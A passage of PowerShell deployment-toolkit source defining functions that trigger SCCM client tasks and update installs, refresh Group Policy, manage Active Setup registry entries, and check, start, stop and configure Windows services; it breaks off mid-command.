Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { Write-Log -Message "Invoke SCCM Schedule Task ID [$ScheduleId]..." -Source ${CmdletName} Write-Log -Message 'Check to see if SCCM Client service [ccmexec] is installed and running.' -Source ${CmdletName} If (Test-ServiceExists -Name 'ccmexec') { If ($(Get-Service -Name 'ccmexec' -ErrorAction 'SilentlyContinue').Status -ne 'Running') { Throw "SCCM Client Service [ccmexec] exists but it is not in a 'Running' state." } } Else { Throw 'SCCM Client Service [ccmexec] does not exist. The SCCM Client may not be installed.' } Try { [version]$SCCMClientVersion = Get-WmiObject -Namespace 'ROOT\CCM' -Class 'CCM_InstalledComponent' -ErrorAction 'Stop' | Where-Object { $_.Name -eq 'SmsClient' } | Select-Object -ExpandProperty 'Version' -ErrorAction 'Stop' Write-Log -Message "Installed SCCM Client Version Number [$SCCMClientVersion]." -Source ${CmdletName} } Catch { Write-Log -Message "Failed to determine the SCCM client version number. `n$(Resolve-Error)" -Severity 2 -Source ${CmdletName} Throw 'Failed to determine the SCCM client version number.' } [hashtable]$ScheduleIds = @{ HardwareInventory = '{00000000-0000-0000-0000-000000000001}'; SoftwareInventory = '{00000000-0000-0000-0000-000000000002}'; HeartbeatDiscovery = '{00000000-0000-0000-0000-000000000003}'; SoftwareInventoryFileCollection = '{00000000-0000-0000-0000-000000000010}'; RequestMachinePolicy = '{00000000-0000-0000-0000-000000000021}'; EvaluateMachinePolicy = '{00000000-0000-0000-0000-000000000022}'; RefreshDefaultMp = '{00000000-0000-0000-0000-000000000023}'; RefreshLocationServices = '{00000000-0000-0000-0000-000000000024}'; LocationServicesCleanup = '{00000000-0000-0000-0000-000000000025}'; SoftwareMeteringReport = '{00000000-0000-0000-0000-000000000031}'; SourceUpdate = '{00000000-0000-0000-0000-000000000032}'; PolicyAgentCleanup = '{00000000-0000-0000-0000-000000000040}'; RequestMachinePolicy2 = '{00000000-0000-0000-0000-000000000042}'; CertificateMaintenance = '{00000000-0000-0000-0000-000000000051}'; PeerDistributionPointStatus = '{00000000-0000-0000-0000-000000000061}'; PeerDistributionPointProvisioning = '{00000000-0000-0000-0000-000000000062}'; ComplianceIntervalEnforcement = '{00000000-0000-0000-0000-000000000071}'; SoftwareUpdatesAgentAssignmentEvaluation = '{00000000-0000-0000-0000-000000000108}'; UploadStateMessage = '{00000000-0000-0000-0000-000000000111}'; StateMessageManager = '{00000000-0000-0000-0000-000000000112}'; SoftwareUpdatesScan = '{00000000-0000-0000-0000-000000000113}'; AMTProvisionCycle = '{00000000-0000-0000-0000-000000000120}'; } If ($SCCMClientVersion.Major -ge 5) { $ScheduleIds.Remove('PeerDistributionPointStatus') $ScheduleIds.Remove('PeerDistributionPointProvisioning') $ScheduleIds.Remove('ComplianceIntervalEnforcement') $ScheduleIds.Add('UpdateStorePolicy','{00000000-0000-0000-0000-000000000114}') $ScheduleIds.Add('StateSystemBulkSend','{00000000-0000-0000-0000-000000000116}') $ScheduleIds.Add('ApplicationManagerPolicyAction','{00000000-0000-0000-0000-000000000121}') $ScheduleIds.Add('PowerManagementStartSummarizer','{00000000-0000-0000-0000-000000000131}') } If (-not ($ScheduleIds.ContainsKey($ScheduleId))) { Throw "The requested ScheduleId [$ScheduleId] is not available with this version of the SCCM Client [$SCCMClientVersion]." } Write-Log -Message "Trigger SCCM Task ID [$ScheduleId]." -Source ${CmdletName} [Management.ManagementClass]$SmsClient = [WMIClass]'ROOT\CCM:SMS_Client' $null = $SmsClient.TriggerSchedule($ScheduleIds.$ScheduleID) } Catch { Write-Log -Message "Failed to trigger SCCM Schedule Task ID [$($ScheduleIds.$ScheduleId)]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to trigger SCCM Schedule Task ID [$($ScheduleIds.$ScheduleId)]: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Install-SCCMSoftwareUpdates { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [int32]$SoftwareUpdatesScanWaitInSeconds = 180, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [timespan]$WaitForPendingUpdatesTimeout = $(New-TimeSpan -Minutes 45), [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { Write-Log -Message 'Scan for and install pending SCCM software updates.' -Source ${CmdletName} Write-Log -Message 'Check to see if SCCM Client service [ccmexec] is installed and running.' -Source ${CmdletName} If (Test-ServiceExists -Name 'ccmexec') { If ($(Get-Service -Name 'ccmexec' -ErrorAction 'SilentlyContinue').Status -ne 'Running') { Throw "SCCM Client Service [ccmexec] exists but it is not in a 'Running' state." } } Else { Throw 'SCCM Client Service [ccmexec] does not exist. The SCCM Client may not be installed.' } Try { [version]$SCCMClientVersion = Get-WmiObject -Namespace 'ROOT\CCM' -Class 'CCM_InstalledComponent' -ErrorAction 'Stop' | Where-Object { $_.Name -eq 'SmsClient' } | Select-Object -ExpandProperty 'Version' -ErrorAction 'Stop' Write-Log -Message "Installed SCCM Client Version Number [$SCCMClientVersion]." -Source ${CmdletName} } Catch { Write-Log -Message "Failed to determine the SCCM client version number. `n$(Resolve-Error)" -Severity 2 -Source ${CmdletName} Throw 'Failed to determine the SCCM client version number.' } If ($SCCMClientVersion.Major -le 4) { Throw 'SCCM 2007 or lower, which is incompatible with this function, was detected on this system.' } $StartTime = Get-Date Write-Log -Message 'Trigger SCCM client scan for Software Updates...' -Source ${CmdletName} Invoke-SCCMTask -ScheduleId 'SoftwareUpdatesScan' Write-Log -Message "The SCCM client scan for Software Updates has been triggered. The script is suspended for [$SoftwareUpdatesScanWaitInSeconds] seconds to let the update scan finish." -Source ${CmdletName} Start-Sleep -Seconds $SoftwareUpdatesScanWaitInSeconds Try { [Management.ManagementObject[]]$CMMissingUpdates = @(Get-WmiObject -Namespace 'ROOT\CCM\ClientSDK' -Query "SELECT * FROM CCM_SoftwareUpdate WHERE ComplianceState = '0'" -ErrorAction 'Stop') } Catch { Write-Log -Message "Failed to find the number of missing software updates. `n$(Resolve-Error)" -Severity 2 -Source ${CmdletName} Throw 'Failed to find the number of missing software updates.' } If ($CMMissingUpdates.Count) { Write-Log -Message "Install missing updates. The number of missing updates is [$($CMMissingUpdates.Count)]." -Source ${CmdletName} $CMInstallMissingUpdates = (Get-WmiObject -Namespace 'ROOT\CCM\ClientSDK' -Class 'CCM_SoftwareUpdatesManager' -List).InstallUpdates($CMMissingUpdates) Do { Start-Sleep -Seconds 60 [array]$CMInstallPendingUpdates = @(Get-WmiObject -Namespace "ROOT\CCM\ClientSDK" -Query "SELECT * FROM CCM_SoftwareUpdate WHERE EvaluationState = 6 or EvaluationState = 7") Write-Log -Message "The number of updates pending installation is [$($CMInstallPendingUpdates.Count)]." -Source ${CmdletName} } While (($CMInstallPendingUpdates.Count -ne 0) -and ((New-TimeSpan -Start $StartTime -End $(Get-Date)) -lt $WaitForPendingUpdatesTimeout)) } Else { Write-Log -Message 'There are no missing updates.' -Source ${CmdletName} } } Catch { Write-Log -Message "Failed to trigger installation of missing software updates. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to trigger installation of missing software updates: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Update-GroupPolicy { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { [string[]]$GPUpdateCmds = '/C echo N | gpupdate.exe /Target:Computer /Force', '/C echo N | gpupdate.exe /Target:User /Force' [int32]$InstallCount = 0 ForEach ($GPUpdateCmd in $GPUpdateCmds) { Try { If ($InstallCount -eq 0) { [string]$InstallMsg = 'Update Group Policies for the Machine' Write-Log -Message "$($InstallMsg)..." -Source ${CmdletName} } Else { [string]$InstallMsg = 'Update Group Policies for the User' Write-Log -Message "$($InstallMsg)..." -Source ${CmdletName} } [psobject]$ExecuteResult = Execute-Process -Path "$envWindir\system32\cmd.exe" -Parameters $GPUpdateCmd -WindowStyle 'Hidden' -PassThru If ($ExecuteResult.ExitCode -ne 0) { If ($ExecuteResult.ExitCode -eq 60002) { Throw "Execute-Process function failed with exit code [$($ExecuteResult.ExitCode)]." } Else { Throw "gpupdate.exe failed with exit code [$($ExecuteResult.ExitCode)]." } } $InstallCount++ } Catch { Write-Log -Message "Failed to $($InstallMsg). `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to $($InstallMsg): $($_.Exception.Message)" } Continue } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Enable-TerminalServerInstallMode { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { Write-Log -Message 'Change terminal server into user install mode...' -Source ${CmdletName} $terminalServerResult = & change.exe User /Install If ($global:LastExitCode -ne 1) { Throw $terminalServerResult } } Catch { Write-Log -Message "Failed to change terminal server into user install mode. `n$(Resolve-Error) " -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to change terminal server into user install mode: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Disable-TerminalServerInstallMode { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { Write-Log -Message 'Change terminal server into user execute mode...' -Source ${CmdletName} $terminalServerResult = & change.exe User /Execute If ($global:LastExitCode -ne 1) { Throw $terminalServerResult } } Catch { Write-Log -Message "Failed to change terminal server into user execute mode. `n$(Resolve-Error) " -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to change terminal server into user execute mode: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Set-ActiveSetup { [CmdletBinding()] Param ( [Parameter(Mandatory=$true,ParameterSetName='Create')] [ValidateNotNullorEmpty()] [string]$StubExePath, [Parameter(Mandatory=$false,ParameterSetName='Create')] [ValidateNotNullorEmpty()] [string]$Arguments, [Parameter(Mandatory=$false,ParameterSetName='Create')] [ValidateNotNullorEmpty()] [string]$Description = $installName, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$Key = $installName, [Parameter(Mandatory=$false,ParameterSetName='Create')] [ValidateNotNullorEmpty()] [string]$Version = ((Get-Date -Format 'yyMM,ddHH,mmss').ToString()), [Parameter(Mandatory=$false,ParameterSetName='Create')] [ValidateNotNullorEmpty()] [string]$Locale, [Parameter(Mandatory=$false,ParameterSetName='Create')] [ValidateNotNullorEmpty()] [switch]$DisableActiveSetup = $false, [Parameter(Mandatory=$true,ParameterSetName='Purge')] [switch]$PurgeActiveSetupKey, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { [string]$ActiveSetupKey = "HKLM:SOFTWARE\Microsoft\Active Setup\Installed Components\$Key" [string]$HKCUActiveSetupKey = "HKCU:Software\Microsoft\Active Setup\Installed Components\$Key" If ($PurgeActiveSetupKey) { Write-Log -Message "Remove Active Setup entry [$ActiveSetupKey]." -Source ${CmdletName} Remove-RegistryKey -Key $ActiveSetupKey -Recurse Write-Log -Message "Remove Active Setup entry [$HKCUActiveSetupKey] for all log on user registry hives on the system." -Source ${CmdletName} [scriptblock]$RemoveHKCUActiveSetupKey = { If (Get-RegistryKey -Key $HKCUActiveSetupKey -SID $UserProfile.SID) { Remove-RegistryKey -Key $HKCUActiveSetupKey -SID $UserProfile.SID -Recurse } } Invoke-HKCURegistrySettingsForAllUsers -RegistrySettings $RemoveHKCUActiveSetupKey -UserProfiles (Get-UserProfiles -ExcludeDefaultUser) Return } [string[]]$StubExePathFileExtensions = '.exe', '.vbs', '.cmd', '.ps1', '.js' [string]$StubExeExt = [IO.Path]::GetExtension($StubExePath) If ($StubExePathFileExtensions -notcontains $StubExeExt) { Throw "Unsupported Active Setup StubPath file extension [$StubExeExt]." } [string]$StubExePath = [Environment]::ExpandEnvironmentVariables($StubExePath) [string]$ActiveSetupFileName = [IO.Path]::GetFileName($StubExePath) [string]$StubExeFile = Join-Path -Path $dirFiles -ChildPath $ActiveSetupFileName If (Test-Path -LiteralPath $StubExeFile -PathType 'Leaf') { Copy-File -Path $StubExeFile -Destination $StubExePath -ContinueOnError $false } If (-not (Test-Path -LiteralPath $StubExePath -PathType 'Leaf')) { Throw "Active Setup StubPath file [$ActiveSetupFileName] is missing." } Switch ($StubExeExt) { '.exe' { [string]$CUStubExePath = $StubExePath [string]$CUArguments = $Arguments [string]$StubPath = "$CUStubExePath" } {'.vbs','.js' -contains $StubExeExt} { [string]$CUStubExePath = "$envWinDir\system32\cscript.exe" [string]$CUArguments = "//nologo `"$StubExePath`"" [string]$StubPath = "$CUStubExePath $CUArguments" } '.cmd' { [string]$CUStubExePath = "$envWinDir\system32\CMD.exe" [string]$CUArguments = "/C `"$StubExePath`"" [string]$StubPath = "$CUStubExePath $CUArguments" } '.ps1' { [string]$CUStubExePath = "$PSHOME\powershell.exe" [string]$CUArguments = "-ExecutionPolicy Bypass -NoProfile -NoLogo -WindowStyle Hidden -Command `"& { & `\`"$StubExePath`\`"}`"" [string]$StubPath = "$CUStubExePath $CUArguments" } } If ($Arguments) { [string]$StubPath = "$StubPath $Arguments" If ($StubExeExt -ne '.exe') { [string]$CUArguments = "$CUArguments $Arguments" } } [scriptblock]$SetActiveSetupRegKeys = { Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$ActiveSetupRegKey, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$SID ) If ($SID) { Set-RegistryKey -Key $ActiveSetupRegKey -Name '(Default)' -Value $Description -SID $SID -ContinueOnError $false Set-RegistryKey -Key $ActiveSetupRegKey -Name 'StubPath' -Value $StubPath -Type 'String' -SID $SID -ContinueOnError $false Set-RegistryKey -Key $ActiveSetupRegKey -Name 'Version' -Value $Version -SID $SID -ContinueOnError $false If ($Locale) { Set-RegistryKey -Key $ActiveSetupRegKey -Name 'Locale' -Value $Locale -SID $SID -ContinueOnError $false } If ($DisableActiveSetup) { Set-RegistryKey -Key $ActiveSetupRegKey -Name 'IsInstalled' -Value 0 -Type 'DWord' -SID $SID -ContinueOnError $false } Else { Set-RegistryKey -Key $ActiveSetupRegKey -Name 'IsInstalled' -Value 1 -Type 'DWord' -SID $SID -ContinueOnError $false } } Else { Set-RegistryKey -Key $ActiveSetupRegKey -Name '(Default)' -Value $Description -ContinueOnError $false Set-RegistryKey -Key $ActiveSetupRegKey -Name 'StubPath' -Value $StubPath -Type 'String' -ContinueOnError $false Set-RegistryKey -Key $ActiveSetupRegKey -Name 'Version' -Value $Version -ContinueOnError $false If ($Locale) { Set-RegistryKey -Key $ActiveSetupRegKey -Name 'Locale' -Value $Locale -ContinueOnError $false } If ($DisableActiveSetup) { Set-RegistryKey -Key $ActiveSetupRegKey -Name 'IsInstalled' -Value 0 -Type 'DWord' -ContinueOnError $false } Else { Set-RegistryKey -Key $ActiveSetupRegKey -Name 'IsInstalled' -Value 1 -Type 'DWord' -ContinueOnError $false } } } & $SetActiveSetupRegKeys -ActiveSetupRegKey $ActiveSetupKey If ($SessionZero) { If ($RunAsActiveUser) { Write-Log -Message "Session 0 detected: Execute Active Setup StubPath file for currently logged in user [$($RunAsActiveUser.NTAccount)]." -Source ${CmdletName} If ($CUArguments) { Execute-ProcessAsUser -Path $CUStubExePath -Parameters $CUArguments -Wait -ContinueOnError $true } Else { Execute-ProcessAsUser -Path $CUStubExePath -Wait -ContinueOnError $true } & $SetActiveSetupRegKeys -ActiveSetupRegKey $HKCUActiveSetupKey -SID $RunAsActiveUser.SID } Else { Write-Log -Message 'Session 0 detected: No logged in users detected. Active Setup StubPath file will execute when users first log into their account.' -Source ${CmdletName} } } Else { Write-Log -Message 'Execute Active Setup StubPath file for the current user.' -Source ${CmdletName} If ($CUArguments) { $ExecuteResults = Execute-Process -FilePath $CUStubExePath -Parameters $CUArguments -PassThru } Else { $ExecuteResults = Execute-Process -FilePath $CUStubExePath -PassThru } & $SetActiveSetupRegKeys -ActiveSetupRegKey $HKCUActiveSetupKey } } Catch { Write-Log -Message "Failed to set Active Setup registry entry. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to set Active Setup registry entry: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Test-ServiceExists { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [string]$Name, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string]$ComputerName = $env:ComputerName, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [switch]$PassThru, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { $ServiceObject = Get-WmiObject -ComputerName $ComputerName -Class 'Win32_Service' -Filter "Name='$Name'" -ErrorAction 'Stop' If (-not ($ServiceObject) ) { $ServiceObject = Get-WmiObject -ComputerName $ComputerName -Class 'Win32_BaseService' -Filter "Name='$Name'" -ErrorAction 'Stop' } If ($ServiceObject) { Write-Log -Message "Service [$Name] exists." -Source ${CmdletName} If ($PassThru) { Write-Output -InputObject $ServiceObject } Else { Write-Output -InputObject $true } } Else { Write-Log -Message "Service [$Name] does not exist." -Source ${CmdletName} If ($PassThru) { Write-Output -InputObject $ServiceObject } Else { Write-Output -InputObject $false } } } Catch { Write-Log -Message "Failed check to see if service [$Name] exists." -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed check to see if service [$Name] exists: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Stop-ServiceAndDependencies { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [string]$Name, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string]$ComputerName = $env:ComputerName, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [switch]$SkipServiceExistsTest, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [switch]$SkipDependentServices, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [timespan]$PendingStatusWait = (New-TimeSpan -Seconds 60), [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [switch]$PassThru, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { If ((-not $SkipServiceExistsTest) -and (-not (Test-ServiceExists -ComputerName $ComputerName -Name $Name -ContinueOnError $false))) { Write-Log -Message "Service [$Name] does not exist." -Source ${CmdletName} -Severity 2 Throw "Service [$Name] does not exist." } Write-Log -Message "Get the service object for service [$Name]." -Source ${CmdletName} [ServiceProcess.ServiceController]$Service = Get-Service -ComputerName $ComputerName -Name $Name -ErrorAction 'Stop' [string[]]$PendingStatus = 'ContinuePending', 'PausePending', 'StartPending', 'StopPending' If ($PendingStatus -contains $Service.Status) { Switch ($Service.Status) { 'ContinuePending' { $DesiredStatus = 'Running' } 'PausePending' { $DesiredStatus = 'Paused' } 'StartPending' { $DesiredStatus = 'Running' } 'StopPending' { $DesiredStatus = 'Stopped' } } Write-Log -Message "Waiting for up to [$($PendingStatusWait.TotalSeconds)] seconds to allow service pending status [$($Service.Status)] to reach desired status [$DesiredStatus]." -Source ${CmdletName} $Service.WaitForStatus([ServiceProcess.ServiceControllerStatus]$DesiredStatus, $PendingStatusWait) $Service.Refresh() } Write-Log -Message "Service [$($Service.ServiceName)] with display name [$($Service.DisplayName)] has a status of [$($Service.Status)]." -Source ${CmdletName} If ($Service.Status -ne 'Stopped') { If (-not $SkipDependentServices) { Write-Log -Message "Discover all dependent service(s) for service [$Name] which are not 'Stopped'." -Source ${CmdletName} [ServiceProcess.ServiceController[]]$DependentServices = Get-Service -ComputerName $ComputerName -Name $Service.ServiceName -DependentServices -ErrorAction 'Stop' | Where-Object { $_.Status -ne 'Stopped' } If ($DependentServices) { ForEach ($DependentService in $DependentServices) { Write-Log -Message "Stop dependent service [$($DependentService.ServiceName)] with display name [$($DependentService.DisplayName)] and a status of [$($DependentService.Status)]." -Source ${CmdletName} Try { Stop-Service -InputObject (Get-Service -ComputerName $ComputerName -Name $DependentService.ServiceName -ErrorAction 'Stop') -Force -WarningAction 'SilentlyContinue' -ErrorAction 'Stop' } Catch { Write-Log -Message "Failed to start dependent service [$($DependentService.ServiceName)] with display name [$($DependentService.DisplayName)] and a status of [$($DependentService.Status)]. Continue..." -Severity 2 -Source ${CmdletName} Continue } } } Else { Write-Log -Message "Dependent service(s) were not discovered for service [$Name]." -Source ${CmdletName} } } Write-Log -Message "Stop parent service [$($Service.ServiceName)] with display name [$($Service.DisplayName)]." -Source ${CmdletName} [ServiceProcess.ServiceController]$Service = Stop-Service -InputObject (Get-Service -ComputerName $ComputerName -Name $Service.ServiceName -ErrorAction 'Stop') -Force -PassThru -WarningAction 'SilentlyContinue' -ErrorAction 'Stop' } } Catch { Write-Log -Message "Failed to stop the service [$Name]. `n$(Resolve-Error)" -Source ${CmdletName} -Severity 3 If (-not $ContinueOnError) { Throw "Failed to stop the service [$Name]: $($_.Exception.Message)" } } Finally { If ($PassThru -and $Service) { Write-Output -InputObject $Service } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Start-ServiceAndDependencies { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [string]$Name, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string]$ComputerName = $env:ComputerName, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [switch]$SkipServiceExistsTest, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [switch]$SkipDependentServices, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [timespan]$PendingStatusWait = (New-TimeSpan -Seconds 60), [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [switch]$PassThru, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { If ((-not $SkipServiceExistsTest) -and (-not (Test-ServiceExists -ComputerName $ComputerName -Name $Name -ContinueOnError $false))) { Write-Log -Message "Service [$Name] does not exist." -Source ${CmdletName} -Severity 2 Throw "Service [$Name] does not exist." } Write-Log -Message "Get the service object for service [$Name]." -Source ${CmdletName} [ServiceProcess.ServiceController]$Service = Get-Service -ComputerName $ComputerName -Name $Name -ErrorAction 'Stop' [string[]]$PendingStatus = 'ContinuePending', 'PausePending', 'StartPending', 'StopPending' If ($PendingStatus -contains $Service.Status) { Switch ($Service.Status) { 'ContinuePending' { $DesiredStatus = 'Running' } 'PausePending' { $DesiredStatus = 'Paused' } 'StartPending' { $DesiredStatus = 'Running' } 'StopPending' { $DesiredStatus = 'Stopped' } } Write-Log -Message "Waiting for up to [$($PendingStatusWait.TotalSeconds)] seconds to allow service pending status [$($Service.Status)] to reach desired status [$DesiredStatus]." -Source ${CmdletName} $Service.WaitForStatus([ServiceProcess.ServiceControllerStatus]$DesiredStatus, $PendingStatusWait) $Service.Refresh() } Write-Log -Message "Service [$($Service.ServiceName)] with display name [$($Service.DisplayName)] has a status of [$($Service.Status)]." -Source ${CmdletName} If ($Service.Status -ne 'Running') { Write-Log -Message "Start parent service [$($Service.ServiceName)] with display name [$($Service.DisplayName)]." -Source ${CmdletName} [ServiceProcess.ServiceController]$Service = Start-Service -InputObject (Get-Service -ComputerName $ComputerName -Name $Service.ServiceName -ErrorAction 'Stop') -PassThru -WarningAction 'SilentlyContinue' -ErrorAction 'Stop' If (-not $SkipDependentServices) { Write-Log -Message "Discover all dependent service(s) for service [$Name] which are not 'Running'." -Source ${CmdletName} [ServiceProcess.ServiceController[]]$DependentServices = Get-Service -ComputerName $ComputerName -Name $Service.ServiceName -DependentServices -ErrorAction 'Stop' | Where-Object { $_.Status -ne 'Running' } If ($DependentServices) { ForEach ($DependentService in $DependentServices) { Write-Log -Message "Start dependent service [$($DependentService.ServiceName)] with display name [$($DependentService.DisplayName)] and a status of [$($DependentService.Status)]." -Source ${CmdletName} Try { Start-Service -InputObject (Get-Service -ComputerName $ComputerName -Name $DependentService.ServiceName -ErrorAction 'Stop') -WarningAction 'SilentlyContinue' -ErrorAction 'Stop' } Catch { Write-Log -Message "Failed to start dependent service [$($DependentService.ServiceName)] with display name [$($DependentService.DisplayName)] and a status of [$($DependentService.Status)]. Continue..." -Severity 2 -Source ${CmdletName} Continue } } } Else { Write-Log -Message "Dependent service(s) were not discovered for service [$Name]." -Source ${CmdletName} } } } } Catch { Write-Log -Message "Failed to start the service [$Name]. `n$(Resolve-Error)" -Source ${CmdletName} -Severity 3 If (-not $ContinueOnError) { Throw "Failed to start the service [$Name]: $($_.Exception.Message)" } } Finally { If ($PassThru -and $Service) { Write-Output -InputObject $Service } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Get-ServiceStartMode { [CmdLetBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [string]$Name, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string]$ComputerName = $env:ComputerName, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { Write-Log -Message "Get the service [$Name] startup mode." -Source ${CmdletName} [string]$ServiceStartMode = (Get-WmiObject -ComputerName $ComputerName -Class 'Win32_Service' -Filter "Name='$Name'" -Property 'StartMode' -ErrorAction 'Stop').StartMode If ($ServiceStartMode -eq 'Auto') { $ServiceStartMode = 'Automatic'} If (($ServiceStartMode -eq 'Automatic') -and (([version]$envOSVersion).Major -gt 5)) { Try { [string]$ServiceRegistryPath = "HKLM:SYSTEM\CurrentControlSet\Services\$Name" [int32]$DelayedAutoStart = Get-ItemProperty -LiteralPath $ServiceRegistryPath -ErrorAction 'Stop' | Select-Object -ExpandProperty 'DelayedAutoStart' -ErrorAction 'Stop' If ($DelayedAutoStart -eq 1) { $ServiceStartMode = 'Automatic (Delayed Start)' } } Catch { } } Write-Log -Message "Service [$Name] startup mode is set to [$ServiceStartMode]." -Source ${CmdletName} Write-Output -InputObject $ServiceStartMode } Catch { Write-Log -Message "Failed to get the service [$Name] startup mode. `n$(Resolve-Error)" -Source ${CmdletName} -Severity 3 If (-not $ContinueOnError) { Throw "Failed to get the service [$Name] startup mode: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Set-ServiceStartMode { [CmdLetBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [string]$Name, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string]$ComputerName = $env:ComputerName, [Parameter(Mandatory=$true)] [ValidateSet('Automatic','Automatic (Delayed Start)','Manual','Disabled','Boot','System')] [string]$StartMode, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { If (($StartMode -eq 'Automatic (Delayed Start)') -and (([version]$envOSVersion).Major -lt 6)) { $StartMode = 'Automatic' } Write-Log -Message "Set service [$Name] startup mode to [$StartMode]." -Source ${CmdletName} [string]$ScExeStartMode = $StartMode If ($StartMode -eq 'Automatic') { $ScExeStartMode = 'Auto' } If ($StartMode -eq 'Automatic (Delayed Start)') { $ScExeStartMode = 'Delayed-Auto' } If ($StartMode -eq 'Manual') { $ScExeStartMode = 'Demand' } $ChangeStartMode = & sc.exe config 